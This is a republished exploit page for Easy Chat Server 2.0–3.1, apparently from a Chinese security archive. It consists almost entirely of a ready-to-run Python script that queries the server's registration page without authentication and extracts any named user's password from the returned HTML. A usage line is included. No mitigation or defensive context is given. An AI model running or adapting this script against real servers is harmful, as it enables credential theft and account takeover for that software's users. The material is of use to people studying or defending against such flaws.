|
EFS Easy Chat Server 3.1 - Password Disclosure
|
|
来源：vfocus.net 作者：Mohsin 发布时间：2017-06-13
|
|
# Exploit Title: Easy Chat Server Remote Password Disclosure
# Date: 09/10/2017
# Software Link: http://echatserver.com/ecssetup.exe
# Exploit Author: Aitezaz Mohsin
# Vulnerable Version: v2.0 to v3.1
# Vulnerability Type: Pre-Auth Remote Password Disclosure
# Severity: Critical
# =========================================================================================================
# Registeration page 'register.ghp' allows disclosing ANY user's password.
# Remote un-authenticated attackers can send HTTP GET requests to obtain ANY Easy Chat Server user password.
# =========================================================================================================
# USAGE: python exploit.py ip username
#!/usr/bin/python
import urllib
import re
import requests
import sys
ip = sys.argv[1]
username = sys.argv[2]
url = 'http://' + ip + '/register.ghp?username=' + username + '&password='
response = requests.get(url)
html = response.content
pattern = '<INPUT type="password" name="Password" maxlength="30" value="(.+?)">'
result = re.compile(pattern)
password = re.findall(result,html)
x = ''.join(password)
password = x.replace("[", "")
password = x.replace("]", "")
print "Password: " + password
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
